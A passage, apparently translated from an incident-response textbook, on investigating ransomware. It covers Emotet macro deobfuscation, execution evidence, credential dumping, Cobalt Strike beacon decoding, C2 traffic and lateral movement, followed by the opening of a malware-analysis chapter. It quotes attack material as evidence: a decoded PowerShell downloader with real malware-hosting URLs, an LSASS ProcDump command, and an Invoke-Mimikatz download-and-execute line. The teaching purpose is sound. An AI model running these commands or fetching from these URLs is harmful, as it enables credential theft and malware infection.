在这种情况下,我们将查看一个从 Microsoft Word 文档执行并调用 Emotet 实例的宏。该文档的样本可以在app.any.run/tasks/c9ba8b96-5f45-4cb5-8b3d-8dc16910b930/#找到。与任何可能的恶意代码一样,以下过程是在正确配置的恶意软件沙箱中执行的。
在我们开始这个过程之前,了解目标用户或用户看到的内容是很重要的。在这种情况下,如果他们点击电子邮件中的 Word 附件,以下内容将会显示:

图 15.1 – Microsoft Word 文档 – 启用内容
通过点击OleDump.py。该工具由 Didier Stevens 开发,可用于分析对象链接与嵌入(OLE)或复合文档。该工具可以在blog.didierstevens.com/programs/oledump-py/找到。同时,工具也提供了一份便捷的备忘单,可以通过sansorg.egnyte.com/dl/3ydBhha67l下载。
OLE 背景
OLE 是 Microsoft 文档的一项功能,用于包含额外的数据类型或组件。它为用户提供了附加功能,但也创造了一个可以被威胁行为者利用的工具。Microsoft 在docs.microsoft.com/en-us/cpp/mfc/ole-background?view=msvc-170提供了 OLE 的概述,值得一读。
首先,指向可疑文件的Oledump.py,可以使用以下命令下载:
C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py DETAILS-RL1609.doc
这将产生以下输出:

图 15.2 – Oledump.py 输出
在Oledump.py输出中,三行显示了宏的存在。第 16 行有一个小写的m,表示定义了一个宏模块,但该行没有关联的代码。其余两行的大写M表示宏代码的存在。在这种情况下,我们可以将该宏代码转储到一个输出中,然后使用像Oledump.py这样的工具进行分析。要从第 17 行提取 VBA 代码,可以使用以下命令:
C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py -s 17 -v DETAILS-RL1609.doc > macro17
-s参数表示 Oledump 应该从第 17 行转储字符串。VBA 代码将被压缩。-v参数用于解压输出。这个过程应该使用相同的命令重复执行,以处理第 18 行:
C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py -s 18 -v DETAILS-RL1609.doc > macro18
从这里开始,我们将首先分析第 18 行的输出。第 9 行,在图 17.3中,展示了触发宏操作的原因——在这种情况下,当文档被打开时会触发。第 10 行显示了入口点,并使用Tbcepkcgnhpwx方法:

图 15.3 – Oledump.py 宏识别
打开宏 17 的输出,我们可以看到大量代码。使用在宏 18 中找到的入口点,我们可以使用Tbcepkcgnhpwx()函数在第 79 行揭示出几个字符实例,如下所示:

图 15.4 – 宏混淆
在 macro17 的第 80 行之后似乎是混淆的代码。这是恶意脚本的典型做法,因为它是一种绕过检测控制的方法。这段混淆代码呈现了下一组可用的字符。在这个例子中,//====dsfnnJJJsm388//= 这一系列字符似乎是用来混淆代码的令牌。可以使用该令牌来混淆部分脚本。利用查找工具,查找所有该令牌的实例。然后将它们替换为空白,接下来第 80 行会显示如下内容:

图 15.5 – 宏代码明文
此时,我们已经能够清晰地看到 VBA 脚本,并可以开始静态分析的过程。缺点是我们仍然没有任何具体的 IOCs 可以利用。在此阶段,我们需要回到最开始的地方,识别在 图 17.2 中 OleDump.py 的任何特定行。在此例中,第 14 行显示了更多的数据。再次使用 Oledump.py,我们希望通过以下命令导出该行的内容:
C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py -s 14 -d DETAILS-RL1609.doc > macro14
在前面的命令中,我们不需要担心压缩,但需要使用 -d 参数,以便将整行内容输出到 macro14 文件中。此文件可以通过 Visual Studio Code 或简单的文本编辑器(如 Notepad++)打开,如下图所示:

图 15.6 – 宏文件文本输出
在之前的截图中,我们可以看到之前已识别出的相同令牌 //====dsfnnJJJsm388//=,以及其他代码。稍后输出中,我们可以看到相同的模式:

图 15.7 – 宏代码混淆
从这里,我们可以重复类似的过程,使用查找工具移除令牌字符并将其替换为空白。我们剩下的是经过 Base64 编码的数据,如下所示:

图 15.8 – Base64 编码命令
为了提取与宏相关的 IOCs,我们可以复制 Base64 字符并使用任何能够解码 Base64 的工具进行解码。在本例中,我们将使用开源工具 CyberChef。这个工具由英国的 GHCQ 创建,允许分析人员使用“配方”或一系列命令来分割和处理数据。CyberChef 可以通过网页访问,网址为 gchq.github.io/CyberChef/,或者下载到本地计算机。如果你使用的是隔离的沙箱环境,下载到本地机器通常是一个不错的选择。该工具由四个主要部分组成,如下图所示:

图 15.9 – CyberChef 界面
这些部分的第一个是操作。这些是可以运行的特定命令。操作被拖动到配方部分,并对输入进行处理。点击BAKE!按钮运行配方。CyberChef 还允许分析人员保存配方或使用社区提供的配方,例如在 GitHub 上的github.com/mattnotmax/cyberchef-recipes。
在本案例中,我们将使用两个操作来解码编码的文本并提取 IOC(指标)。在此,我们将使用从 Base64和解码文本操作。只需点击特定操作并将其拖动到配方部分:

图 15.10 – CyberChef – 配方
配方设置好后,点击BAKE!,以下结果应该会显示出来:

图 15.11 – CyberChef 解码
输出看起来是命令和 URL 的组合:
$Kqldfmbvr='Xidvorbkkcgta';$Fymbhyexmh = '593';$Nnrgqikkfqy='Bjspcpsecqf';$Osxjsuvbbxzc=$env:userprofile
+'\'+$Fymbhyexmh+'.exe';$Qeewlohvnhzjg='Tqytjxitodxzf';$Pvqkrn
oao=&('new-ob'+'jec'+'t') nET.WebcLIEnt;$Fkmngitga='http://oni
ongames.jp/contact/iY/*http://pmthome.com/posta/dr3zxa/*http:
//urgeventa.es/img/k35d9q/*https://solmec.com.ar/sitio/nTXZomKCx/*https://tiagocambara.com/cgi-bin/s96/'."SpL`IT"
('*');$Xmvtsffjfj='Nbsfvavkmslb';foreach($Qtykmgpyyczy in $Fkmngitga){try{$Pvqkrnoao."d`OWnloa`DfIlE"($Qtykmgpyyczy, $Osxjsuvbbxzc);$Lqsnocick='Mwrnhskzeus';If ((&('Ge'+'t'+'-Item') $Osxjsuvbbxzc)."l`eNg`Th" -ge 36952) {[Diagnostics.rocess]::"S`TARt"($Osxjsuvbbxzc);$Zjcyebtu='Pqrvhklqerie';
break;$Fzbbuntuulpsg='Musmxxqbo'}}catch{}}$Jbrhtvgftfzs=
'Bvvggpdikswqr'
从这里,我们提取了几个 URL。例如,URL pmthome.com 已被确定为托管恶意软件,如 VirusTotal 的以下屏幕截图所示:

图 15.12 – VirusTotal 分析
启用宏的文档通常是事件链中的第一步,其中受害者用户执行宏,从而执行一个脚本,该脚本会访问某个 URL 并下载二级有效载荷以供执行。这个二级有效载荷通常是一个重新利用的银行木马,用于获取远程访问权限,以便可以在系统上部署更多工具。
执行
紧接着前面的讨论关于初始访问,我们现在来看看威胁行为者如何执行通过之前我们检查过的脚本加载的有效载荷。恶意软件的执行方式有多种。通过简要检查 MITRE ATT&CK 框架中的执行战术可以证明这一点。由此可以得出老话一句;“恶意软件可以隐藏,但它必须执行。” 基于这个观点,我们将探讨如何利用 Velociraptor 和一些证据来源来查找恶意代码的执行情况。
首先,我们将查看执行技术系统二进制代理执行:Rundll32 [T1218.011]。在这个技术中,威胁行为者使用合法的 Microsoft Windows 二进制文件来执行恶意操作。威胁行为者使用 Rundll32 有多种原因。这可能是为了绕过访问控制,滥用合法的系统 DLL 文件进行恶意操作,或者将合法的 DLL 文件作为整体攻击的一部分进行移动。在本示例中,我们将检查威胁行为者如何使用 Rundll32 来执行其自有的恶意 DLL 文件。
从上一节中,我们看到威胁行为者如何使用嵌入在 Microsoft Word 文档中的 VBA 脚本,该脚本执行时会连接到外部服务器并下载文件。在这种情况下,我们将从相同的过程开始,下载一个 DLL 文件形式的 Emotet 二进制文件。(活跃的 Emotet 二进制文件可以在 bazaar.abuse.ch/browse.php?search=sha256%3Acd13a9a774197bf84bd25a30f4cd51dbc4908138e2e008c81fc1feef881c6da7 找到。)
恶意 DLL 文件的一个可能位置是在登录用户的 AppData 目录中。这通常是由于文件通过宏下载的。在这种情况下,我们将在受害者系统上的该位置执行 Emotet 二进制文件。威胁行为者可以通过以下命令远程执行此操作:
C:\Windows\system32>rundll32.exe C:\Users\PROD-SANDBOX\AppData
\Local\Temp\sample.dll,#1
在前面的命令中,sample.dll 文件通过 Rundll32 使用序号 #1 执行。从这里,DLL 文件执行,并且恶意软件开始运行。
回到那句引述“恶意软件可以隐藏,但必须运行”,有几个位置可以找到执行证据。在这种情况下,我们将使用 Velociraptor 和 Windows.Analysis.EvidenceOfExecution 证据收集。在 Velociraptor 中,点击加号(+)图标:

图 15.13 – Velociraptor 证据收集
搜索 evidence execution 并选择Windows.Analysis.EvidenceOfExecution:

图 15.14 – Velociraptor – 选择要收集的工件
该证据收集利用了多个不同来源来展示执行证据。查看参数后,点击启动。收集完成后,选择下载结果,然后选择准备收集报告。报告将显示在可用下载部分:

图 15.15 – 结果
从这里,点击报告。这将下载一个包含证据收集输出的 HTML 文件。在报告的预取视图中,我们可以看到 Rundll32 于 20220908T15:50:14Z 执行:

图 15.16 – RunDll32 预取项
滚动查看其他结果,我们可以看到除了看起来是从 System32 目录中执行的合法 DLL 文件外,还有一个从 TEMP 目录中执行的条目:

图 15.17 – RunDLL32 预取项详细信息
审查 RunDLL32 和相关 DLL 的执行是寻找恶意软件执行证据的一个好方法。鉴于当前的位置,分析师可以随后检索该文件并将其发送进行恶意软件分析。
建立初始立足点的过程可能是脚本文件执行与人工交互的组合。接下来,我们将讨论凭据访问或窃取,在这一过程中,攻击者试图获取合法的凭据,以便执行攻击的其余部分。
发现凭据访问与窃取
勒索软件攻击者常常利用的一个关键漏洞是 Windows 操作系统在内存中管理凭据的方式。凭据及其关联的密码哈希由本地安全授权子系统服务(LSASS)管理。这个在内存中运行的进程包含了已登录或当前登录系统的用户账户凭据。此外,Kerberos 认证票据也可以存储在此进程的地址空间中。由于它在管理凭据方面的作用,LSASS 成为勒索软件攻击者的高价值目标。
MITRE ATT&CK 框架包含了完整的凭据访问 [TA0006]技术列表。在这种情况下,我们将讨论两种常见的操作系统凭据转储技术,攻击者通过访问运行内存中的 LSASS 进程 [T1003.001],以及在勒索软件攻击中非常常见的相关工具。在这两种情况下,所描述的工具和技术涉及常用的工具,并且可以轻松执行。
ProcDump
其中一种技术是使用 Microsoft Windows Sysinternals 工具 ProcDump。在这种情况下,攻击者要么使用该工具的本地副本,要么将其传输到受害者系统中执行。接下来,使用命令行对 LSASS 进程执行 ProcDump,如下所示:
C:\Users\Jsmith\Desktop>procdump.exe -ma lsass.exe dump.dmp
在这里,攻击者可以传输转储文件并提取密码哈希以进行破解。
如果没有专门监控此活动的控制措施(如 EDR 工具或 SIEM),通常很难检测到这种活动。从检测控制的角度来看,这种活动是合法的,并且系统管理员会使用它。由于勒索软件攻击者经常使用这种类型的活动,安全实践建议删除 ProcDump 或任何可以转储 LSASS 进程的工具,或者检测并验证任何使用行为是否为合法。
查找 ProcDump 使用证据的最佳位置是在应用程序执行中,我们在上一节中讨论过。显示 ProcDump 执行的预取文件可以帮助我们找到执行的时间和位置。另一个选项是对于启用了 Sysmon 日志记录的组织,可以查找 类型 1:进程创建 记录,如下所示:

图 15.18 – ProcDump Sysmon 记录
在日志条目中,以下是判断是否访问了凭据的关键数据点:
ParentCommandLine: C:\AtomicRedTeam\Atomics\T1003.001\procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass_dump.dmp
在输出中,我们可以看到威胁行为者对 LSASS 进程执行了 ProcDump,并将输出文件放置在C:\Windows\Temp目录中,准备后续窃取。这是增强系统日志记录和检测 ProcDump 使用的一个很好的应用场景。
Mimikatz
在第十四章中,我们研究了工具 Mimikatz。Mimikatz 是威胁行为者的另一个常用工具,因为它易于使用,并且已经集成在各种后期利用框架中。当集成到如 Cobalt Strike 或 PowerSploit 等工具中时,该工具可以在内存中运行,而不需要将任何文件写入磁盘。这使得寻找痕迹证据变得困难,但并非不可能。
例如,GitHub 上可用的利用工具 PowerSploit(网址:github.com/PowerShellMafia/PowerSploit)有一个名为 Invoke-Mimikatz 的模块。虽然该工具避免了将二进制文件写入磁盘并执行,但 PowerShell 日志中仍有痕迹,特别是事件 403,能够显示命令执行情况,如下图所示:

图 15.19 – Mimikatz PowerSploit 条目
日志条目中包含以下关键数据点:
HostApplication=powershell.exe & {IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds}
这为分析师提供了凭证哈希已被访问的确凿证据。在发现使用 Mimikatz 或 ProcDump 的情况下,最佳实践是认为该系统上的凭证或 Kerberos 认证机制已经被攻破。因此,建议按照第十六章中讨论的内容,进行密码重置。
理解凭证访问和窃取不仅对调查非常重要,还对于从此类攻击中恢复也至关重要。揭示这些工具的使用情况以及潜在的被盗凭证,能够为决策者提供必要的数据,以便做出是否重置或禁用用户和管理员密码的决策。
调查后期利用框架
分析师遇到的主要后期利用框架是 Cobalt Strike。还有其他框架,如 PowerSploit 或 Meterpreter,这些框架通常可用,即使是最初级的威胁行为者也可以使用。一个主要机制是这些利用框架利用编码的 PowerShell 脚本,建立一个反向连接回威胁行为者的指挥与控制基础设施。
从对手的角度来看,这种方法有几个好处。首先,脚本可以加载到多个位置,从而在重启后依然能够存活。例如,MITRE ATT&CK 技术 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 注册表键。
第二个好处是,恶意 PowerShell 脚本可以通过使用 Windows 操作系统工具(如 Windows 管理工具)远程执行,这些工具能够远程执行恶意脚本。Cobalt Strike 将此功能作为其特点之一。
最后,恶意脚本通常可以直接在内存中运行,而不需要将文件放到系统中,这样可以增加脚本被检测到的机会。通过远程执行并在内存中运行脚本可以绕过一些杀毒控制。
在查找使用 Cobalt Strike 等工具和恶意脚本的证据时,最好的位置是 Windows PowerShell 事件日志。查找事件 ID 为 400 的远程脚本执行,或事件 ID 为 600 的 PowerShell 使用。另一个来源是 Windows PowerShell 操作事件日志,事件 ID 为 4104。以下截图显示了此类日志的内容:

图 15.20 – Cobalt Strike PowerShell 事件日志条目
关于恶意脚本,通常有两个关键点需要注意。第一个是 Base64 编码,如前面的截图所示。此外,像Powershell -nop - w hidden -noni -e和powershell.exe -EncodedCommand这样的命令通常是红旗警告,可以作为在进行日志分析时的搜索关键字。
要从这些脚本中提取 IOC,我们可以使用之前解码宏中 Base64 数据时使用的 CyberChef 工具。在这种情况下,我们将解码一个常见的 Cobalt Strike 脚本,该脚本会在目标系统上安装一个信标:
- 第一步是简单地从事件日志、计划任务或注册表中复制 Base64 字符。一种好的技巧是将其复制到文本编辑器中,以防万一发生小错误,这样你可以随时返回到干净的输出:

图 15.21 – Cobalt Strike Base64 编码脚本
- 接下来,我们将把编码数据放入 CyberChef 的输入字段,并使用从 Base64操作:

图 15.22 – 第一次 Base64 解码
- 你会经常注意到,在编码后的 PowerShell 脚本中,嵌入了另一组 Base64 编码的字符。只需重复解码新编码字符的过程:

图 15.23 – 第二次 Base64 解码
-
同样,前面会有一组新的 Base64 编码字符:
[Byte[]]$var_code = [System.Convert]::FromBase64String
在编码字符后,出现了以下字符串:
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
- 前面的字符串表明,前面的字符不仅被编码过,还经过了 XOR 函数的处理。在这种情况下,复制编码后的命令并将其放入输入框。这里,我们将使用相同的From Base64操作,但这次,我们将添加另一个操作来处理 XOR 函数,如下截图所示:

图 15.24 – Base64 XOR 配方
- 这将产生以下 shellcode 输出:

图 15.25 – Shellcode 输出
对 shellcode 的分析揭示了几个关键数据点。第一个也是最明显的就是 IP 地址 47.242.164.33。还有其他数据点,例如 User-Agent 字符串。现在我们已经获得了这个 shellcode 和相关的 IOC,我们可以在这里停止,但使用开源的 shellcode 分析工具 scdbg 进行独立评估可能也很重要,该工具可以在 sandsprite.com/blogs/index.php?uid=7&pid=152 下载。
首先,使用位于 .dat 文件中的保存图标。接着,下载 scdbg 并将文件解压到目标位置。最后,运行以下命令对下载的 shellcode 进行分析:
C:\Users\PROD-SANDBOX\Downloads\scdbg.exe -f download.dat
这将生成以下输出:

图 15.26 – Shellcode 分析
输出显示已经与 IP 地址 47.242.164.33 建立了连接,并使用目标端口 8083。结合我们之前观察到的用户代理字符串,Cobalt Strike 信标正在尝试与其他互联网流量融合,以混淆 C2 流量。
定位、提取和分析后渗透脚本或信标至关重要,因为它通常揭示了威胁行为者正在使用的 C2 基础设施。这对于理解威胁行为者如何维持对系统的控制也很关键,并为适当的根除和恢复提供数据。
命令与控制
在这种情况下,我们将查看与后渗透工具 Cobalt Strike 相关的流量。这是勒索软件威胁行为者常用的工具。我们将检查一个完整的数据包捕获,以揭示与攻击者基础设施相关的先前未识别的 IOC。在本次审查中,我们将查看与使用 Squirrelwaffle 加载器和 Qakbot RAT 进行的攻击相关的数据包捕获,并最终讲解如何安装 Cobalt Strike,该工具可通过 www.malware-traffic-analysis.net/2021/09/22/index.html 获取。
安全洋葱
我们之前简要介绍过的一个工具是 Security Onion。这个开源入侵检测系统可以帮助识别潜在的指挥与控制流量。在这个案例中,数据包捕获是根据现有规则集运行的,Security Onion 指示了多个命中的事件。其中一个值得注意的是 ET MALWARE 观察到的 Qbot 风格 SSL 证书:

图 15.27 – Cobalt Strike 安全洋葱检测
这个警报表明 SSL 证书与之前在 Qbot 恶意软件相关联时观察到的证书匹配。进一步检查与恶意流量相关的 IP 地址,发现有 27 个连接使用了非标准的 HTTP 端口:

图 15.28 – 安全洋葱警报网络连接
像 Security Onion 这样的 IDS 工具可以迅速将注意力集中到关键指标上。即使没有这些工具,一些工具仍然可以为我们提供值得关注的数据点,特别是那些与 C2 流量相关的数据。
RITA
分析师通常很少会拥有整个攻击链的完整数据包捕获,但通过审查数据包捕获,可以让我们通过查看网络流量数据的具体元素来洞察如何识别潜在的指挥与控制流量。首先,我们可以使用在 第九章 中介绍的 RITA 工具:
-
首先,我们需要使用 Zeek 处理数据包捕获:
dfir@ubuntu:~/rita$ zeek -C -r Squirrelwaffle_Qakbot.pcap -
接下来,将 Zeek 输出导入到 RITA:
dfir@ubuntu:~/rita$ rita import *.log Squirrelwaffle_Qakbot
参考截图如下:

图 15.29 – 数据包捕获 Zeek 导入
-
处理 PCAP 显示信标并将其输出到 CSV 文件进行分析:
dfir@ubuntu:~/rita$ rita show-beacons Squirrelwaffle_Qakbot > Beacons.csv
RITA 分析的结果显示了许多与 Security Onion 分析中看到的相同的 IP 地址:

图 15.30 – RITA 信标 IP 地址
这使得分析人员可以在完整的数据包捕获中专注于特定的 IP 地址,并使用像 Arkime 这样的工具进行更详细的分析。
Arkime
现在,我们已经识别出一些潜在的指挥与控制 IOC(指标),可以转向一个能为我们提供更多流量洞察的工具。虽然 Wireshark 是一个选择,但在这种情况下,Arkime 可能是更好的选择,因为它提供了那种流量样式的视图,更容易查看。让我们为 IP 地址 108.62.141.222 运行以下查询:
Ip.dst == 108.62.141.222
这提供了一些关键的细节,值得关注。首先,这个流量的目标端口是 8888,它本身不是恶意的,但也不是 HTTPS 流量的标准端口。其次,存在一个一致的字节交换,且有两个尖峰。第一个出现在流量的开始,然后稍后又出现另一个。如果我们深入查看其中一个数据包,将会发现流量是加密的:

图 15.31 – Arkime 中的 Cobalt Strike 连接
如果我们深入分析其中一个数据流,我们会发现数据是加密的。分析人员通常无法看到的一个领域是 C2 通道的实际活动:

图 15.32 – TCP 流
最后,借助威胁情报,分析人员可以将 IP 地址输入到如 AlienVault 的 OTX 这样的来源中,这样就能揭示出 IP 地址108.62.141.222与使用 Cobalt Strike 的基础设施相关联:

图 15.33 – AlienVault OTX 威胁情报
在某些情况下,组织遭受攻击的第一个迹象是 IDS 和 IPS 系统等工具对可疑连接进行了报警。其他时候,命令与控制流量保持未被检测的状态。确定对手如何保持控制对于确保在清除和恢复过程中移除该控制至关重要。
调查横向移动技术
在调查横向移动技术时,主要使用的技术是远程服务利用 [T1210]。在此技术中,威胁行为者利用已被泄露的凭证和现有的远程访问工具,如 SMB 和 RDP,访问同一网络中的其他系统。像 EternalBlue 这样的漏洞被威胁行为者广泛利用,例如 NotPetya 以及恶意软件变种如 Trickbot。
确定横向移动的主要数据来源应该是 NetFlow。正如我们在第九章中所看到的,通过审查 NetFlow,通常可以揭示通过一个或几个机器与网络其他部分在短时间内进行多次连接时使用了 SMB 或 RDP。例如,进行远程维护的系统管理员会通过 RDP 连接到一台服务器,并在 10 到 15 分钟内完成一些维护任务,然后再转到另一台系统。如果看到非管理员系统发起 RDP 连接,更不用说在几分钟内发起数十次连接,那就非常可疑了。
如果 NetFlow 不可用,Windows 事件日志可以提供一些关键细节,说明威胁行为者是如何访问远程镜像的。首先要查看的是 Windows 安全事件日志 4624,它表示用户或管理员已成功登录。在这种情况下,我们关注的是两种类型的登录:SMB 或远程共享登录和远程桌面登录。
在远程共享或 SMB 登录中,威胁行为者通常会使用一种后渗透框架,该框架可以使用 SMB 向另一个系统进行跳转。在威胁行为者连接到的远程系统上,Windows 事件日志中会记录一个事件 ID 4624 类型 3 的条目,如下所示:

图 15.34 – SMB 登录事件日志条目
如日志条目所示,系统 DEKSTOP-9SK5KPF 使用 Atomic Red Team 帐户登录。进一步深入分析条目,我们可以看到与 LAPTOP-CHL1KGT5 系统关联的 IP 地址 192.168.0.22,表明这是发起连接的机器:

图 15.35 – SMB 登录条目详细信息
Windows 事件日志中我们可以看到的另一种登录类型是 RDP 连接。相同的事件 ID,4624,用于 RDP 连接,但是对于 RDP 连接,有两种登录类型。第一种是类型 10。这表明向系统建立了新的 RDP 连接。类型 7 表示远程机器正在重新连接前一个会话或者上次建立会话时未正确注销:

图 15.36 – RDP 登录条目
再次查看记录,日志提供了与类型 7 事件相同的信息:

图 15.37 – RDP 登录条目详细信息
对大规模事件进行这种类型的分析并不适用,因此最好的方法是使用 SIEM 或其他平台,如 Skadi。在这种情况下,我们仍然可以获取相同的数据,如下所示:
[4624 / 0x1210] Source Name: Microsoft-Windows-Security-Auditing Strings: ['S-1-5-18', 'DESKTOP-9SK5KPF$', 'WORKGROUP', '0x00000000000003e7', 'S-1-5-21-3785962752-1303019572-1054719619-1001', 'Atomic Red Team', 'DESKTOP-9SK5KPF', '0x00000000087e1208', '7', 'User32 ', 'Negotiate', 'DESKTOP-9SK5KPF', '{00000000-0000-0000-0000-000000000000}', '-', '-', '0', '0x0000000000000520', 'C:\Windows\System32\svchost.exe', '192.168.0.22', '0', '%%1833', '-', '-', '-', '%%1843', '0x00000000087e11e6', '%%1843'] Computer Name: DESKTOP-9SK5KPF Record Number: 99549 Event Level: 0
通过这一步骤,我们已经总结了如何调查横向移动技术。
总结
不幸的现实是勒索软件已经来临。从中得到的教训是,响应者和分析师需要能够识别、提取和分析与这些类型攻击相关的证据。在本章中,我们学习了如何检查常见的初始感染向量,如何确定凭证的窃取,如何检测横向移动,以及如何识别威胁行动者的命令和控制。这是一个坚实的起点,通过持续审查和整合威胁情报来了解威胁行动者的操作方式是至关重要的。
在下一章中,我们将讨论如何将我们在前几章中讨论过的工具和技术应用于威胁狩猎的积极实践。
问题
回答以下问题以测试您对本章的知识掌握:
-
以下哪个不是后渗透框架?
-
Cobalt Strike
-
Metasploit
-
ProcDump
-
PowerSploit
-
-
Windows 操作系统的凭证存储在哪个进程中?
-
LSASS
-
服务
-
Netstat
-
credsman
-
-
在 Prefetch 文件中可以观察到 Rundll32 的使用。
-
真实
-
错误
-
-
哪种类型的 Windows 安全事件日志表明远程桌面连接?
-
事件 ID 4625 类型 3
-
事件 ID 4625 类型 10
-
事件 ID 4624 类型 3
-
事件 ID 4264 类型 10
-
进一步阅读
关于本章涵盖的主题的更多详细信息,请参考以下内容:
-
Cobalt Strike PowerShell 分析:
michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7 -
去混淆 PowerShell:
medium.com/mii-cybersec/malicious-powershell-deobfuscation-using-cyberchef-dfb9faff29f
第五部分:威胁情报与狩猎
为了补充本书的前三部分,第五部分深入探讨了与事件响应和数字取证相关的多个专业方面,这些方面直接影响事件调查的成功。这些主题包括恶意代码分析、威胁情报的整合,以及如何将各种数字取证技术融入威胁狩猎的实践中。
本部分包含以下章节:
-
第十六章**,恶意软件分析与事件响应
-
第十七章**,利用威胁情报
-
第十八章**,威胁狩猎
第十六章:事件响应中的恶意软件分析
恶意软件继续成为企业和消费者系统不断演变的灾难。每当防御措施被创建,恶意软件编程人员就会创造出新的变种,能够腐蚀或摧毁系统。恶意软件甚至被用作针对国家和全球组织的武器。大多数数据泄露事件都涉及使用恶意软件来实现某种目标。各行各业的组织都面临着恶意软件的威胁。随着勒索软件攻击(如 Conti 和 Ryuk)的出现,组织不得不迅速行动,解决这些攻击。
由于恶意软件始终存在风险,事件响应分析人员必须了解一些用于恶意代码分析的方法和工具。在一章内容中无法全面解决恶意软件分析的复杂性。因此,本章将重点介绍恶意软件分析的基础要素,并探讨一些常用的工具。这将为任何分析人员提供扎实的理解,使他们能够在事件的背景下理解分析结果。
在本章关于恶意软件分析的讨论中,将涉及以下主题:
-
恶意软件分析概述
-
设置恶意软件沙箱
-
静态分析
-
动态分析
-
ClamAV
-
YARA
恶意软件分析概述
恶意软件分析,或称恶意软件逆向工程,是数字取证领域中的一个高度技术化和专业化的领域。病毒防护和威胁情报依赖于一支训练有素的程序员和取证人员团队,他们从外部获取恶意软件,并对其进行解剖,以确定其功能、运行方式以及可能的责任方。这是通过两种类型的分析方法进行的:静态分析和动态分析。与大多数数字取证工作一样,每种分析方法都有其优势,事件响应分析人员应该熟悉这两种方法。
恶意软件分析
本章仅仅触及了网络安全领域中一个高度专业化的方面。目的是给出一些例子,说明分析人员如何从与事件相关的恶意软件中提取可操作的 IOC(指标)。如果需要更详细的内容,请查阅Monnappa K A 的《学习恶意软件分析》,可在www.packtpub.com/product/learning-malware-analysis/9781788392501找到。
一位名叫 Lenny Zeltser 的恶意软件分析专家创建了一种优秀的恶意软件分析方法学,他的网站上有丰富的资源,地址是Zeltser.com。该方法学包括以下七个步骤,帮助分析人员进行分析:
-
创建一个受控的实验室环境,以便进行分析。
-
检查可疑恶意软件与操作系统(OS)环境的交互行为。
-
检查可疑应用程序的代码,以了解其内部工作原理。
-
执行动态分析,确定在静态分析中无法识别的操作。
-
确定恶意软件是否被打包,并在必要时解包。
-
继续进行分析,直到分析目标完成。
-
准备一份补充报告,归还实验室到分析前的状态。
通常,恶意软件分析可以分为四个独立的类别,如图 16.1所示,这是基于 SANS 讲师 Allissa Torres 创建的类似图表。这四个类别在工具、技术和难度上有所不同。执行的第一个且最简单的技术是完全自动化分析。在这种情况下,恶意软件的副本在恶意软件沙箱中执行,沙箱是为执行恶意软件而创建的环境,可以在相对较短的时间内了解其行为。这可以很好地展示恶意软件的行为和 IOC(指示器)。然而,这种方法没有提供详细的代码分析,代码分析可能会揭示其他细节,例如潜在的被利用的漏洞或它可能瞄准的特定软件:

图 16.1 – 恶意软件分析类别
下一个技术是静态属性分析。在这种技术中,使用工具来确定文件哈希、头部、字符串、文件属性和与恶意代码相关的其他元数据。这种技术也非常快速,但需要一定的恶意软件知识来分析和解释结果。通常,如果文件通过自动化沙箱运行并同时分析静态属性,就足以深入了解恶意软件的行为并提取与事件相关的 IOC。
接下来的两个分析阶段需要更多的专业知识、工具和时间。第三阶段是互动行为分析,它涉及使用自动化工具和静态属性分析相结合的方式,检查恶意软件的特定元素。例如,样本可能在沙箱中执行,并控制特定的网络行为,以确定恶意软件是否尝试与外部主机连接以下载二级有效负载。这个阶段给予分析人员更多的沙箱环境控制,他们可以根据观察情况更改参数。在这种情况下,分析人员可以控制沙箱的网络连接,并确定特定流量的样子。
最终阶段是手动代码逆向。正如你所预料的,这一阶段因其时间和难度,要求具备高度专业的技能。在这一阶段,恶意软件样本将经过逆向工程处理。尽管这需要时间和技能,但这一见解对于全面理解代码至关重要。例如,Stuxnet 恶意软件经过了广泛的逆向工程,分析师能够确定了被攻击的可编程逻辑控制器(PLC)。没有这一洞察,恶意软件的真正意图可能就无法被发现。
Stuxnet 恶意软件分析
即使 Stuxnet 病毒被发现已有十年,它仍然在网络安全和网络战争领域广泛讨论。值得深入研究金·泽特尔(Kim Zetter)在其著作《倒计时至零日:Stuxnet 与全球首个数字武器的发布》中的研究,以及 2016 年纪录片《零日》。这两者都深入探讨了恶意软件逆向工程在揭示 Stuxnet 中的重要作用。赛门铁克对 Stuxnet 病毒的分析副本已作为补充材料随书提供。值得查看,因为它真实地展示了进行全面分析所需的专业知识和时间。
从恶意代码样本中提取最大数据量的最佳方法是使用静态和动态分析技术对文件进行全面检查。利用这些技术的全方位方法提供了获得恶意软件如何运行、其功能和潜在目标的最佳方式。一个很好的例子是对 Stuxnet 病毒的分析,该病毒曾被用来攻击伊朗的纳坦兹铀浓缩设施。卡巴斯基和赛门铁克的研究人员进行了彻底的分析,为网络安全和国家安全界提供了广泛的分析,揭示了这一复杂恶意软件的能力和目标。
在分析提取指示器的过程中,恶意软件逆向工程面临一些挑战。首先,逆向工程的工具和技术需要大量时间来掌握。逆向工程是一个专业领域,考虑到恶意软件的数量,可能很难立即找到人来进行完整的逆向工程。其次,整个过程本身非常耗时。使用二进制分析工具进行代码的详细静态分析可能需要较长时间。如果其他团队如事件响应团队或安全运营中心需要指示器来进行阻止或调查,等待完整的逆向工程结果并不可取。
在面对这些挑战时,威胁情报和事件响应分析人员可以利用一些工具和技术来提取相关的指标和 TTP(技术、战术和程序),同时等待进行完整反向工程检查的更详细结果。我们将在本章后面讨论这些工具和技术。
恶意软件分类
恶意软件或 malware 是一个总称,指任何旨在损坏、禁用或在计算机系统内产生不良条件的软件。这个定义虽然功能上可行,但在对恶意软件分类时也非常宽泛。有些恶意软件专门编写用于从支付系统中窃取信用卡号码,而其他恶意软件用于接管系统,允许攻击者远程控制该系统。观察这些具体行为的分析人员——例如感染后受损系统如何向互联网发送通信,或者在受感染系统上采取了什么行动——可能能够确定恶意软件的类型以及攻击者的最终目标。
一般而言,在讨论恶意软件时,以下是一些更具体的类别:
-
